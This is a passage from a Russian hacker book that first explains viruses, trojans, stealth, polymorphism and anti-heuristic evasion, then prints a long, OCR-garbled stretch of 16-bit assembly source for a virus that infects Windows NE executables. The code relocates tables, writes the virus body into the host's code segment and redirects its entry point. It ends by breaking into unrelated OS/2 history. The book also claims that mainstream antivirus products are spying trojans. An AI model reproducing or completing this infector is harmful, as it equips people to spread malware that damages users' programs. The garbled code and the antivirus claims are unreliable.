визарда оставляют след в истории человечества. Кевин Митник.
Линус Торвалдс. Dark Avenger...

В наши дни развитие компьютерных вирусов идет в ногу с
усовершенствованием антивирусных программ. Как только один
из соперников берет верх над другим, тут же возникают новые ме-
тоды противодействия. По большому счету все упирается в нехват-
ку хороших программистов.

Будь их больше, империя Авиров (коммерческих компаний,
занимающихся разработкой антивирусных программ) завершила
бы работу по созданию обобщенной эвристики и тем самым вывела
бы из игры тысячи старых вирусов. Соответственно, если бы среди
вирусмейкеров появился бы новый визард, они разработали бы ме-
таморфный «движок» и на ближайшие 20—30 лет захватили бы
контроль над сетью Интернета. Впрочем, я не вижу в этом ничего
особенно страшного по сравнению с диктатурой Microsoft.
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Компьютерный вирус — это программа, которая копирует са-
му себя. При своем выполнении она создает одну или несколько
собственных копий. Эти копии позже выполняются пользователем
компьютера и также создают несколько копий. Подобный процесс
может длиться очень долго — теоретически, ad infinitum.

Известный теоретик компьютерной вирусологии Фред Кохен
дал следующее определение: «Вирус является компьютерной про-
граммой, которая может инфицировать другие компьютерные про-
граммы, модифицируя их так, чтобы включить в них копию себя».
То есть для жизненного цикла вирусу необходимы: а) другие про-
граммы и б) способность самовоспроизводства. Именно этим вирус
и отличается от «троянских коней». Трояны не могу размножаться
самостоятельно. Они распространяются людьми с помощью раз-
личных хитростей и уловок социальной инженерии.

Фактически, троян — это программа, которая выполняет не-
авторизованную функцию, скрытую внутри авторизованной про-
граммы. Она делает нечто другое, чем заявляется в ее readme. Зло-
дейский или вредный код скрыт под обликом безвредной на вид
программы. Цель трояна — перехват контроля и нанесение ущерба
для системы и данных, записанных на дисках. Троян может содер-
жать в себе вирус. Термин взят из «Илиады» Гомера (если кто не
осилил в детстве, пусть посмотрит фильм «Троя»). В битве за Трою
хитрые греки подарили жителям непокорного города деревянного
коня, в котором прятался отряд лазутчиков. Ламеры-троянцы обра-
довались халяве и приняли подарок. Ну а ночью лазутчики выбра-
лись из деревянного коня, перерезали охрану и открыли городские
ворота. Еще один пример умелого использования хакерских мето-
дов.

При определении троянов всегда возникает путаница. Допус-
тим, я написал программу, которая может определять, форматиру-
ет ли другая программа жесткий диск. Можно ли назвать такую
программу трояном? Если пользователь опасается форматирова-
ния, то моя программа не будет трояном. А если пользователь не
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ожидает форматирования, то он может считать мою программу тро-
яном. Все зависит от ожиданий пользователя.

Например, программа Aids Information Diskette была признана
трояном. В 1989 году она распространялась в качестве «скорой по-
мощи от вирусов». Пользователи передавали ее друг другу и не
могли нахвалиться качеством дармового продукта, но вскоре их
ожидал сюрприз. После 90 включений компьютера программа AID
скрывала все имена файлов на жестком диске и требовала оплатить
лицензию на свое использование. В документации о таком вариан-
те событий ничего не говорилось. Поэтому суд, в конце концов,
признал ее трояном.

Иногда трояны выступают как средства вымогательства и
шантажа. Порой они выполняют шпионские функции. Кстати, со-
временные антивирусы типа Нортона и AVP (Касперского) также
являются троянами и выполняют шпионские функции. Не верите?
Ладно! Если у вас стоит Norton AntiVirus 2004 года, воспользуй-
тесь утилитой Registry Tracker и посмотрите, как авторизирован-
ный антивирус будет выполнять неавторизированные функции,
расставляя своих «ползунов» по всем другим используемым про-
граммам и оповещая своих «shared companions» о том, что вы вы-
шли в Сеть и готовы к закачке их спамерских продуктов..

Теперь вы понимаете, чем вирус отличается от трояна? Тро-
ян — это хитрость, капкан, логическая бомба, которая «взрывает-
ся» при совпадении заданных условий. А вирус — это живое .неор-
ганическое существо, которое существует в условиях жесткого «ес-
тественного отбора». Троян — это программа, которая самодоста-
точна, но должна распространяться человеком. А вирус распрост-
раняется сам и использует для этого другие программы.

Если бы крохотные вирусы только копировали бы самих себя,
их никто бы не боялся. Но каждый вирус несет в себе дополнитель-
ный код «расплаты». Например, вирус Form по 18-м числам каждо-
го месяца начинал «бикать» каждый раз, когда пользователь нажи-
мал на клавишу кейборда. Вирус Гитлер выдавал на экран полити-
ческие сообщения. «Бешенные» вирусы наносили системе большой
ущерб, стирая файлы.

Кроме того, 99% современных вирусов являются резидентами
памяти. То есть возникает вероятность несовместимости между ви-
русом и выполняемыми программами (например, вирус Jerusalem



Варфоломей Собейкис. АЗБУКА ХАКЕРА-3

использует ресурсы, предназначенные для сетевых продуктов фир-
мы Novell, поэтому вы не сможете применять Novell NetWare в сис-
теме, зараженной вирусом Jerusalem). Все это создает неудобства
для пользователя. А он тем временем запуган различными баснями
о вирусах. Не удивительно, что каждый пользователь, обнаружив-
ший вирус на своей машине, избавляется от него любым способом
— даже таким радикальным, как форматирование дисков. Подоб-
ная борьба обходится людям недешево. Она требует затрат време-
ни и денег. Попробуйте прикинуть, сколько машинного времени
крадут современные антивирусы и сколько денег выкачивается из
пользователей из-за каких-то крохотных и почти безобидных про-
грамм.

Теперь я расскажу вам, что не является вирусами. Запомните:
баги — не вирусы. Например, программа Word имеет серьезный баг.
Допустим, вы работаете с большим файлом, а затем внутри про-
граммы происходит какой-то сбой, и она отказывается сохранять
файл на диске. Вы теряете всю работу, которую проделали с момен-
та предыдущего сохранения. Это не вирус и не троян, а ошибка про-
граммистов. Они — тоже люди и часто ошибаются. И запомните,
когда люди шутят, что «Windows — это вирус объемом 256
мегабайт», то они не шутят. Или это шутка сквозь скрежет зубов-
ный, поскольку львиная доля ошибок, глюков и болезней компью-
тера происходит не потому, что ваши компьютеры плохие, а потому
что они работают под Windows. Конечно, у программистов Micro-
soft, как и у нас, имеется гордость, между ними складываются слож-
ные производственные отношения, поэтому они не любят призна-
вать свои ошибки и называют их «багами» (жучками), как будто ка-
кие-то жучки повылазили вдруг из щелочек и поселились в их про-
граммах. Хе! И надо заметить, что все сложные программы имеют
баги. Это непреложный факт!

Ложные тревоги также не являются вирусами. Иногда поль-
зователи сталкиваются со сбоями в работе «железа» и «софта», по-
сле чего запускаются в действие диагностика и сообщения о воз-
можных проблемах. Не нужно считать их следствием вирусной ин-
фекции. Наоборот, чаще всего они вызываются активностью анти-
вирусных программ.

Вся горькая правда заключается в том, что антивирусные про-
граммы также наполнены багами; Их основными ошибками явля-
ются следующие:
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1) они часто не находят существующие в машине вирусы и

2) заявляют о наличии вирусов, когда их в компьютере не
имеется.

Вот несколько признаков того, что забитая вдруг тревога яв-
ляется ложной:

1. Только один файл выдает тревогу (или, возможно, не-
сколько копий одного и того же файла).

2. Только один продукт выдает тревогу. Остальные утверж-
дают, что система чистая.

3. Вы получаете тревогу, выполняя множество программ, а
не когда выполняете один программный продукт.

4. Мнимый вирус не значится в списке антивирусной библи-
отеки (хотя список недавно обновлялся).

Шутки также не являются вирусами. Некоторые шутки очень
забавны (хотя их жертвы в этом никогда не признаются). Все зави-
сит от чувства юмора. Наверняка вы видели программу, которая
якобы форматирует ваш диск, а затем сообщает, что вас разыграли.
Забавно, правда?

Дропперы (кидалы) — это программы, которые не являются
вирусами и которые не инфицированы вирусами. Но они при сво-
ем выполнении инсталлируют вирус в памяти, на диске или в фай-
ле. Это переносчики вирусов — в основном, элементы промышлен-
ного саботажа.

Шпионские загрузчики — это программы, которые использу-
ют ресурсы сервера и приносят пользу своим создателям. Серверы
могут поставлять некоторые услуги бесплатно (якобы для привле-
чения клиентов). Взамен они предлагают вам загрузчики, которые
далее выполняют роль троянов и элементов коммерческого шпио-
нажа.

Зомби — это программа, которая после своего уничтожения
продолжает потреблять ресурсы системы до тех пор, пока пользо-
ватель не удалит все ресурсы, связанные с ней. Чаще всего «зомби»
остаются незамеченными «восставшими из мертвых» и владеют оп-
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ределенным количеством памяти вашей системы. Это, конечно,
неприятно, но не смертельно.

Все эти программы не наносят ущерб системе и являются ти-
пичными агентами, выполняющими низкоуровневую загрузку.
Аналогией может быть магазин, в который во время дождя наби-
лось множество людей. Они ничего не покупают, но занимают мес-
то. Чем больше таких программ в компьютере, тем меньше в вашем
распоряжении системных ресурсов.

Я хотел написать о червях, но решил не морочить вам голо-
ву. Между вирусами и червями не имеется четкой разграничи-
тельной линии. Обычно считается, что если саморазмножающая-
ся программа является самодостаточной, то это червь. А если она
вставляет свои копии в другие программы или загрузочный код,
то это вирус.

Характеристики вирусов

Вирусы можно классифицировать по нескольким следующим
характеристикам.

Какие программы они инфицируют

Арсенал старых вирусов заражал про-
граммы с расширениями «.com», «.exe» и
«.sys», а также загрузочные секторы дисков и
дискет. Соответственно, вирусы так и назы-
вались: вирусы corn-файлов, вирусы ехе-
файлов, вирусы sys-программ, вирусы boot-
сектора.

Имелась небольшая группа вирусов, которая заражала не
программы, а файлы исходного кода (например файлы с расшире-
ниями «.pas» или «.с»).

Позже появились макровирусы, написанные на языке
WordBasic. Затем первенство перехватили вирусы, написанные на
других' высокоуровневых языках. Сейчас они могут заражать элек-
тронную почту, вложения, рисунки, клипы. Мы не будем рассматри-
вать их здесь, потому что «Азбука-3» посвящена ассемблерному коду.
Да и вам не мешало бы начать с азов компьютерной вирусологии.
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Как вирус скрывает себя

Сокрытие имеет две фазы: до обнаружения и после обнаруже-
ния. В первой фазе используются такие приемы, как сокрытие раз-
мера зараженного файла, кодирование, «дезинфекция на лету»,
туннелинг*, антитуннелинг, секторное сокрытие, сокрытие 4202 и
SFT. Во второй фазе используются методы полиморфизма, кодиро-
вания, метаморфизма, антиотладки и антиэвристичности. Позже
мы рассмотрим эти методы.

Как вирус находит программы для инфекции

При выполнении зараженной программы вирусы Runtime ос-
матривают директорию (или несколько директорий), выискивают
и заражают файл, пригодный для инфекции.

За один рабочий цикл программы они заражают только не-
сколько программ. В отличие от них резидентам памяти — вирусам
TSR (Terminate and Stay Resident) — не нужно искать программы
для заражения. Они размещаются в памяти и перехватывают пре-
рывания. Как только какая-то другая программа вызовет прерыва-
ние, в ответ она получит вирус.

Как вирус крепится к зараженному файлу

Вирусы могут: 1) присоединяться к зараженному файлу, 2)
переписывать его часть своим кодом, 3) сохранять или копировать
зараженный файл в своем буфере или 4) размещать наобум.

Какой вид расплаты предполагается в вирусе

Расплатой может быть: 1) логические бомбы, которые «вры-
вается» в заданное время или при указанных обстоятельствах, 2)
сообщение на мониторе или звуки, 3) разрушительные коды или
4) различные хорошие благодеяния. Элемент расплаты зависит от
характера и натуры человека — создателя вируса.

На какую операционную систему рассчитан вирус

Соответственно, бывают DOS-вирусы, вирусы под Windows,
под Linux, под OS/2 и т. д.

* Термин «tunneling» переводится в научной литературе как «туннели-
рование», но я остановился на слэнге для этого Слова. Для меня перевод
«туннелинга» как «туннелирования» означает насилие над двумя великими
языками — эдаким аналогом «факинга» и «факелирования», если вы понимаете, о
чем я говорю.

27



Варфоломей Собейкис. АЗБУКА ХАКЕРА-3

На каком языке написаны вирусы

Существуют Bat-вирусы, С-вирусы, Dbase-вирусы. Их разно-
образию не видно предела.

Вирусные технологии: прошлое,
настоящее и будущее

С момента появления компьютерных вирусов на нашей пла-
нете прошли десятки лет, и появились сотни новых технологий.
Однако эффективность каждой технологии имеет плюсы и минусы.
Настоящие причины технологического развития немного иные,
чем нам кажутся. В основном они определяются задачами авиров и
носят чисто коммерческий характер.

1. Туннелинг

Туннелинг — это технология, первоначально созданная для
обхода авирных продуктов, определявших класс вирусов. Эти
продукты назывались поведенческими блокираторами. Они были
резидентами памяти, подцепленными к прерываниям Intl3h и
Int21h. To есть они отслеживали вызовы к этим прерываниям и
определяли особые последовательности действий (например, от-
крыть файл, переместиться к концу файла, произвести запись, пе-
реместиться в начало файла, произвести запись, закрыть файл).
Подобные последовательности указывали на процесс инфекции,
и их обнаружение вызывало различные процедуры очистки систе-
мы.

В нынешнее время поведенческие блокираторы переживают
стадию упадка. Во-первых, они замедляют работу программ. Во-
вторых, они часто вызывали ложные тревоги, а пользователей
нельзя волновать понапрасну. Тем не менее, они часто входят в ин-
струментальный набор антивирусных пакетов.

В любом случае, туннелинг переживает не лучшие времена.
Этот метод, во-первых, увеличивает размеры вирусов и замедляет
процесс внедрения в систему. Во-вторых, он часто не оправдывает
себя, ломая код вируса. В-третьих, этот метод вызывает проблемы
совместимости с процессорами и антивирусными программами
(причем, так называемые одношаговые «кроты» в наше время лег-
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ко определяются). В-четвертых, практика туннелинга сложна и
опасна для создателей вирусов. И пока этот метод не считается по-
лезным оружием в арсенале опытных адептов Искусства.

2. Антитуннелинг

Антитуннелинг развивался в ногу с туннелингом и использо-
вался авирами для борьбы с вирусными туннелинговыми атаками.
Даже тогда он использовался редко — меньше, чем туннелинг. А за-
тем хакеры применили этот метод против авиров. Вирусы начали
использовать код антитуннелинга, чтобы защититься от обхода их
сокрытия и запретить другим вирусным туннелерам вмешиваться в
механизмы захвата прерываний.

Антитуннелинг имеет хорошие и плохие стороны. С одной
стороны, он хорош, чтобы запретить другим вирусам обход захва-
ченного вами вектора прерывания и для остановки многих попу-
лярных авировских программ. С другой стороны, этот метод по-
рождает много хлама и засоряет систему, что делает явным наличие
вируса. Поэтому метод нуждается в дальнейшей разработке.

3. Сокрытие

Сокрытие использовалось часто и разнообразно. Поначалу
оно обманывало чекеры целостности и мешало им выявлять изме-
нения в зараженных файлах (в наше время любой авировский про-
дукт включает в себя чекеры целостности). Сокрытие бывает раз-
ным. Например:

3.1. Файловое сокрытие

Простое файловое сокрытие появилось во времена правления
DOS и Norton-Commander. В ту пору вирусы были диковинкой, и
люди проверяли размеры файлов. Такая проверка позволяла им оп-
ределять наличие вирусов (в основном, в COMMAND.COM, и
именно поэтому инфекция COMMAND.COM почти никогда не
проводилась). Сокрытие размера имело свои проблемы. Некоторые
программы-архиваторы неправильно сжимали зараженные файлы,
а другие (например CHKDSK) буквально сходили с ума, объявляя
об ошибках на жестком диске. Это ставило жизнь вирусов под уг-
розу, потому что пользователь всегда и по любому поводу винит в
нестабильности системы только вирусы.

Файловое сокрытие было не очень совместимым с програм-
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мами. Сейчас оно редко употребляется, потому что пользователи
больше не следят за размерами файлов. Тем не менее, некоторые
авиры предлагают подобную утилиту.

Следует добавить, что старые методы по сокрытию размера
файла не работают на современных машинах (хотя никто не пони-
мает, по какой причине). Сейчас развиваются методы инфекции без
увеличения размера (заражение пространств данных, заголовков,
сжатие файла перед инфекцией и т. д.).

3.2. Секторное сокрытие

Это было первой формой сокрытия вирусов для загрузочного
сектора. Сокрытие уровня сектора маскирует наличие вируса в за-
грузочном секторе на дисках. Метод легко обнаруживается, когда
авиры считывают информацию напрямую с портов. Но доступ к
портам задействует прерывание Int76h. И если вирусмейкер доста-
точно умен, он обходит такие проверки.

В данном случае нужно помнить, что это прерывание вызыва-
ется после записи на диск и, если вы будете невнимательны, то мо-
жете войти в бесконечную петлю.

Сокрытие уровня сектора имеет проблемы на современных
машинах. Эти трудности решаются сокрытием с помощью Int76h и
правильным обращением с Intl3h. Секторное сокрытие с помощью
Intl3h плохо работает под Linux и другие 32-битные системы.

3.3. Сокрытие с дезинфекцией при чтении

Это вид полного сокрытия. Он построен на очищении зара-
женных файлов, когда те открываются пользователем, и на их вто-
ричном заражении при закрытии. Одним из первых этот метод ис-
пользовал вирус Frodo. Данный метод не работает на дискетах и вы-
зывает сообщение об ошибке, если Int24h зацеплено неверно. Не-
которые конфигурации Сети не дают разрешения на запись, поэто-
му здесь тоже могут возникать проблемы.

Эта форма сокрытия очень медленная. Кроме того, она делает
диск неустойчивым. Но здесь может помочь сокрытие дискового
пространства.
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3.4. Сокрытие 4202 и SFT

Обе формы сокрытия имеют дело с сокрытием при чтении и
перенаправлении. Файлы не очищаются при доступе к ним, а мас-
кируются по файловому размеру. Если файл открывается в режиме
чтение/запись и в него что-то пишется, то он очищается и после
проведенной записи снова заражается. При сокрытии 4202, которое
применяется в большинстве вирусов, доступ к концу файла ограни-
чивается вирусом. Любая попытка выйти за пределы виртуального
файла блокируется вирусом. При сокрытии SFT изменяется длина
файла в таблице SFT. DOS ограничивает проход мимо конца зара-
женных файлов, и вирус лишь маскирует начало зараженных бай-
тов.

Сокрытие SFT вызывает проблемы в Сети и на разных опера-
ционных системах, потому что SFT является недокументирован-
ной структурой, в которой нормальные программы не нуждаются.
Кроме того, обе формы сокрытия вызывают проблемы в случае
применения дисковых чекеров. Некоторые архиваторы делают ви-
русы незаразными, если сокрытие на чтение не было предваритель-
но выключено. То есть методы хорошие, но имеют проблемы с сов-
местимостью. Их преимуществом является обход сканирования
авиров. И если ваш вирус будет иметь в дополнение хороший поли-
морфизм, то его ждет долгая и сытая жизнь на нивах многочислен-
ных систем.

4. Кодирование, полиморфизм и метаморфизм

Кодирование (основной защитный механизм вирусов) было
придумано до внедрения методик сокрытия, и причиной тому были
авиры. Если бы они не начали вытаскивать небольшие сигнатуры

из дешифраторов вируса, то такой прием,
лйЬ как полиморфизм, никогда бы не был раз-

вит.

Кодирование и полиморфизм при-
вели к тому, что современные авиры вы-
нуждены тратить много времени даже на
сканирование самых глупых и неуклю-
жих поделок начинающих вирусмейке-
ров. Точная идентификация вируса ста-
новится почти невозможной, когда коли-
чество «уникальных» записей декодиро-
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вания стремительно сокращается, а им эти строки еще необходи-
мо найти. Полиморфизм стал основным оружием вирусов против
авировских сканеров сигнатур. В ответ авиры создали обобщен-
ное декодирование (эмуляцию), что поставило полиморфизм на
грань вымирания.

Хотя полиморфизм по-прежнему создает проблемы для эму-
ляционных систем. Они значительно замедляют работу и путаются
в «мусорном» коде (множестве функциональных вызовов). Многие
полиморфные дешифраторы настраивают эвристические флаги.
На смену полиморфизму приходит метаморфизм. Этот метод ото-
шел от кодирования и для каждого нового поколения полностью
переписывает код вируса, по-особому эскизу. То есть для ави.ров бу-
дет нужна фигура из 20 сканстрок, а при эволюции данного метода
сканирование вообще окажется бессильным.

Обычно вирус пошагово проходит свой ассемблерный код и
конструирует новую программу с возможностями старой версии.
Это требует знания опкодов и полиморфных технологий. Вполне
понятно, что данный метод создает в новом поколении «мусорный»
код, который мутирует раз за разом, увеличивая размер вируса. Со-
ответственно, вирусу приходится уменьшать размер, кодируя ори-
гинальную копию вируса. При других вариантах метаморфный мо-
дуль создает оригинальную копию.

Примеры метаморфизма редки, и пока существует только не-
сколько прототипов. Но мутации вирусов ведут к новой стадии
эволюции. Борьба за сокрытие от сканеров, в конечном счете, при-
ведет к развитию «разумного» вируса.

5. Антиотладка и антиэвристичность

Эти два метода активно развиваются. Первый снижает эф-
фективность авировских эмуляторов, но уязвим по эвристическим
характеристикам. Поэтому в действие вводится антиэвристич-
ность. Если империя Авира создаст мощную обобщенную систему
идентификации, то только антиэвристичность поможет вирусам
выжить. Хотя сейчас намечается развитие новых приемов, которые
могут избегать обобщенного определения.

6. Среднефайловая инфекция
Существуют две формы среднефайловой инфекции.
Первая форма предполагает, что вирус находит файл, пригод-

ный для заражения, трассирует код программы (в пошаговом режи-
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mov dx,OFFSET RELOCS обновляем перемещения в файле

call FILE_WRITE добавляем перемещения

pop [RELOCS]

mov ax, [RELOCS]

shl ax,3

add ax,2 ;размер данных перемещения

pop ex ; размер кода в сегменте

xor dx.dx

add ax.cx ;полный размер сегмента

adc dx,0

SRE:

mov [CS_SIZE],ax сохраняем его здесь

ret

Эта подпрограмма переносит перемещаемые элементы в ко-
нец первоначального сегмента кода, чтобы создать место для виру-
са. Она переносит любое число записей перемещения, каждая из
которых является 8-байтовой. Кроме того, она добавляет в файл
новые перемещаемые элементы для вируса.

RELOCATE_RELOCS:

mov ax, [RELOCS] ;число перемещаемых элементов

mov cl,3

shl ax.cl

add ax,2 ;ах=полное число байтов для переноса

push ax

mov ax,[INITSEC]

mov cx,[LOG_SEC]

mul ex ;dx:ax = начало cs в файле

add ax.WORD PTR [NEW_HDR+14H]

adc dx,0 ;dx:ax = конец cs в файле
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pop ex ;cx = размер перемещений

add ах.сх

adc dx.O ;dx:ax = конец хода+перемещения

xchg ax.cx

xchg dx.cx ;ах=размер сх^х=локация

RR_LP:

push ex

push dx

push ax

emp ax,DATABUF_SlZE

jle SHORT RR1

mov ax,DATABUF_SIZE ^читаем байты DATABUF_SIZE

RR1:

sub dx.ax ;возвращаемся к указателю файла

sbb cx,0

push ex

push dx

push ax

call RLESEEKST ;ищем желаемую локацию в файле

pop ex

mov dx.OFFSETTEMP

call RLEREAD ;читаем нужное число байтов, # в ах

pop dx

pop ex

push ax сохраняем число прочитанных байтов

add dx,VlRUS_SIZE •перемещаем указатель файла вверх

adc сх,0

call FILE_SEEK_ST

pop ex ;байты для записи

mov dx.OFFSETTESMP
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call FILE_WRITE записываем их в новую локацию

pop ax

pop dx

pop ex

emp ax,DATABUF_SIZE ;байтов записано меньше, чем
;DATABUF_SIZE?

jle SHORT RRE ;да, все выполнено

sub ax.DATABUFSIZE ;нет, подстраиваем индекс

sub dx,DATABUF_SIZE

sbb cx,0

jmp RRLP ;и переходим к другому

RRE:

mov si,[VSTART]

mov cx.es:[si+ARELOCS] добавляем перемещения
;ARELOCS к концу

push si

mov di.OFFSETTEMP

add si,OFFSET ARELOCS + 2 ;si указывает на
;таблицу перемещений

RRL:

mov ax,cs:[si] ;переносим перемещения в буфер и

;совершаем подстройку

stosw

add si, 2

mov ax,cs:[si]

add si,2

add ax.WORD PTR [ЫЕ\ЛПНОР+14Н];добавляем размер

первоначального кода к офсету

stosw

mov ax,[KERNEL] ;помещаем ссылку "no next" из модуля kernel

add si, 2

stosw
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mov ax,cs:[si]

add si, 2

stosw

loop RRL

pop si

mov dx.OFFSETTEMP

mov cx,cs:[si+ARELOCS]

shl cx,3

call FILEWRITE ; помещаем эти значения в файл

ret

Эта подпрограмма находит модуль KERNEL в таблице мо-
дульных ссылок и вносит его в записи перемещений в вирусе.

SETUP KERNEL:

хог сх,сх

mov dx,WORD PTR [NEW_HDR+28H] ;переходим к началу таблицы

;модульных ссылок I

add dx,[NH_OFFSET]

adc ex,0

call FILE_SEEK_ST

mov dx,OFFSET TEMP

mov cx,40H ;читаем 32-модульные ссылки в

call FILE_READ ;буфере TEMP

mov si.OFFSETTEMP

SK1:

lodsw ;получаем офсет модуля

push si

mov dx,[NH_OFFSET] ;поиск в таблице импортированных имен

add dx.WORD PTR [NEW_HDR+2AH]

add dx.ax
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inc dx

xor ex,ex

call FILE_SEEK_ST приготовиться к чтению имени модуля

mov cx,40H

mov dx.OFFSET TEMP + 40H

call FILE_READ ;читаем его в TEMP в 40Н

pop ax

push ax

sub ax.OFFSETTEMP

shr ax,1

mov [KERNEL],ax предполагаем, что это KERNEL

emp ax.WORD PTR [NEW_HDR+1EH] последняя запись?

jge SHORT SK2 ;да, используем ее по умолчанию

mov di,OFFSETTEMP + 40H

mov si.OFFSET KNAME

mov ex,6

repz empsb проверяем ее

jnz SHORT SK3 ;не KERNEL, продолжаем

SK2:

pop si ;иначе выходе KERNEL, установленным

;так, как есть

ret

SK3:

pop si

jmp SK1

Эта подпрограмма записывает вирусный код в инфицируе-
мый сегмент кода. Она также обновляет прыжок, которым заверша-
ется вирус, чтобы тот указывал на старую точку входа в этот сег-
мент.

WRITE_VIRUS_CODE:

mov ax,[INITSEC] ;секторы в сегмент кода

mov cx,[LOG_SEC]
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mul ex ;dx:ax = локация сегмента кода

add ax.WORD PTR [NEW_HDR+14H]

adc dx,0 ;dx:ax = место, куда поместить вирус

mov cx.dx

mov dx.ax

push ex

push dx сохранить эти значения и подстроить прыжок

call FILE_SEEK_ST .искать здесь

mov di.OFFSETTEMP [переместить код вируса в сегмент данных

mov cx,VIRUS_SIZE

mov si,[VSTART]

WVCL: mov al.es:[si]

inc si

stosb

loop VWCL

mov si,[VSTART] установить области перемещений в коде до

add si, OFFSET ARELOCS ;FFFFOOOO

mov cx,cs:[si]

add si,4

WVC2:

mov di,cs:[si]

add di.OFFSETTEMP

mov ax.OFFFFH

stosw

inc ax

stosw

add si,8

loop WVC2
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mov cx,VIRUS_SIZE ;сх=размер вируса

mov dx.OFFSET TEMP ;йх=офсет начала вируса

call FILE_WRITE ;записать вирус в файл

pop dx ;OK, мы должны обновить прыжок

pop ex ;к коду жертвы "

mov ax.OFFSET VIRUS_DONE - OFFSET VIRUS

inc ax

add dx.ax

adc cx,0 ;сх^х=локация для обновления

push ax

call FILE_SEEK_ST ;переходим туда

pop ax

inc ax

inc ax

add ax,WORD PTR [NB/V.HDR+14H] ;ах=офсетинструкции после прыжка

sub ax,[ENTRYPT] ;ах=расстояние до прыжка

neg ax ;делаем его отрицательным числом

mov WORD PTR [TEMP],ax сохраняем здесь

mov ex, 2 ;и записываем на диск

mov dx.OFFSET TEMP

call FILE_WRITE ;все выполнено

ret

Обновляем таблицу ресурсов, чтобы секторные указатели бы-
ли правильными:

UPDATE_RES_TABLE:

mov dx.WORD PTR [NEWJHDR+24H] ;переносим таблицу ресурсов

add dx,[NH_OFFSET] ;в EXE

add dx,2
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хог сх.сх

call FILE_SEEK_ST

URT1:

mov dx.OFFSETTEMP

mov ex,8

call FILE_READ ;читаем 8-байтовую запись информации о типе

emp WORD PTR [TEMP],0 ;ЮтипаО?

jz SHORT URTE ;да, все сделано

movcx,WORD PTR [TEMP+2] ;получаем счет записей инфо для чтения

URT2:

push ex

mov dx.OFFSETTEMP

mov ex, 12
-

call FILEREAD ;читаем 1-ю информационную запись об имени

mov ax.WORD PTR [TEMP] ;получаем офсет ресурса

emp ax,[INITSEC] ;больше, чем локация первоначального cs?

jle SHORT URT3 ;нет, не тревожимся о нем

add ax,[VIRSECS] ;добавляем размер вируса

mov WORD PTR [TEMP],ax

mov dx,-12

mov cx.OFFFFH
•

mov al,1 ;возвращаем указатель файла

call FILE_SEEK

mov dx,OFFSET TEMP записываем обновленную запись ресурса

mov ex, 12 ;в файл

call FILE_WRITE

URT3:

pop ex



Варфоломей Собейкис. АЗБУКА ХАКЕРА-3

dec ex ;читаем, пока не пройдем все информационные

jnz URT2 ;записи этого типа

jmp URT1 ;получаем другой тип информационной записи

URTE: ret

;вызовы к I/O KERNEL-основанного файла:

FILE_OPEN:

push es

push ds ;толкаем указатель к имени файла

push dx

push 2 ;открываем в режиме чтение/запись

ROPEN: call FAR PTR Jopen

; DB 09AH ;вызываем дальний указатель к Jopen

;ROPEN: DW OFFFFH.O

pop es

ret ; возврат с индексом в ах

FILE_READ:

push es

push bx ;сохраняем bx во время этого вызова I

push bx ;передаем контроль к Jread

push ds

push dx ;буфер для чтения

push ex ;байты для чтения

RREAD: call FAR PTR Jread

; DB 9AH ;вызов дальнего указателя Jread

.RREAD: DW OFFFFH.O

pop bx

pop es

ret

FILE WRITE:
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push es

push bx .сохраняем bx во время этого вызова

push bx ;передаем индекс Jwrite

push ds

push dx ;буфер, откуда идет запись

push ex ;байты для записи

RWRITE: call FAR PTR Jwrite

; DB 09AH ; вызов дальнего указателя Jwrite

;RWRITE: DW OFFFFH.O

pop bx

pop es

ret

FILEJ3EEKJ3T:

xor al.al

FILEJ3EEK:

push es

push bx сохраняем bx в этом вызове

push bx ;и вталкиваем в стек для вызова

push ex

push dx ;число байтов для перемещения

xor ah,ah ;ах=источник, где производится поиск

push ax ;О=начальный, 1=текущий, 2=конечный

RSEEK: call FAR PTR Jlseek

; DB 09AH ;вызов дальнего указателя Jlseek

;RSEEK:DW OFFFFH.O

pop bx

pop es

ret

FILE_CLOSE:

push bx ;передаем индекс к Jclose
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RCLOSE: call FAR PTR Jclose

; DB 09AH ;вызов дальнего указателя Jclose

;RCLOSE: DW OFFFFH.O

ret

Следующая подпрограмма HOST приведена здесь как перво-
начальная программа запуска. Когда вирус инфицирует файл, он
прыгает к коду запуска программы, к которой прикрепил себя.

HOST:

push О

call FAR PTR PostQuitMessage прерывание программы
;(пользователь)

Ниже даны перемещаемые элементы, добавленные в таблицу
перемещений в этом секторе для удобства вируса. Они должны
быть последними в сегменте кода, чтобы запатченная программа
работала правильно.

ARELOCS DW 5 ;число перемещений для добавления

R_OPEN DW 103H,OFFSETROPEN+1,1,85 ;таблица перемещений

R_READ DW 10ЗН,OFFSET RREAD+1,1,82

R_WRITE DW 103H,OFFSETRWRITE+1,1,86

R_SEEK DW 103H,OFFSET RSEEK+1,1,84

R_CLOSE DW 103H .OFFSET RCLOSE+1,1,81

END_VIRUS: ;метка конца вируса для Windows

CODE ENDS

В сегменте данных не заложен предварительный код, по-
скольку в Windows вирус назначает сегмент данных во время свое-
го выполнения. Фактически, мы полагаем, что во время старта про-
граммы сегмент может быть заполнен каким-то «мусором». Под-
программа CREATE_DS инициализирует некоторые данные, ис-
пользуемые в том сегменте, который в обычной программе должен
иметь предваряющий код.
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_DATA SEGMENT PARA USE16 'DATA'

DATASTART EQU $

FILEJD1 DB 6 dup (?) ;для поиска файлов

FILEJD2 DB 6 dup (?) ;для поиска файлов

KNAME DB 6dup(?) ;«KERNEL»

FILE_NAME DB 13dup(?) ;имя файла

VSTART DW ? начальный офсет вируса в RAM

ENTRYPT DW ? ;первоначальный ip вируса

NHOFFSET DW ? ;офсет нового заголовка от начала файла

VIRSECS DW ? ;секторы, добавленные к файлу для вируса

INITSEC DW ? ;локация первоначального cs в файле (в секторах)

RELOCS DW ? ;число перемещений в cs

LOG_SEC DW ? ;размер логического сектора для программы

CS_SIZE DW ? ;размер сегмента кода

KERNEL DW ? ;номер модуля KERNEL

MEMJHANDLE DD ? ;индекс памяти для сегмента данных

NEWJHDR DB NEW_HDR_SIZE dup (?) пространство, в которое

;вкладывается новый заголовок

TEMP DB DATABUFSIZE dup (?) ;временное хранилище данных

DATAEND EQU $

_DATA ENDS

_STACK SEGMENT PARA USE16 STACK 'STACK'

_STACK ENDS

END VIRUS
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Операционная система OS/2 была кровным детищем корпо-
рации IBM и впервые появилась в апреле 1987 года, то есть более
восемнадцати лет назад. В те далекие дни юная «полуось» стала
первой 32-битной многозадачной ОС и по многим параметрам пре-
восходила ранние версии Windows. На первом этапе OS/2 была
принята на вооружение многими телекоммуникационными компа-
ниями и банковскими структурами, однако впоследствии ее прак-
тически полностью вытеснили мелкософчатые форточники со
своими многоозадачивающими «стеклопакетами». В результате,
сейчас об этой достойной операционной системе практически ни-
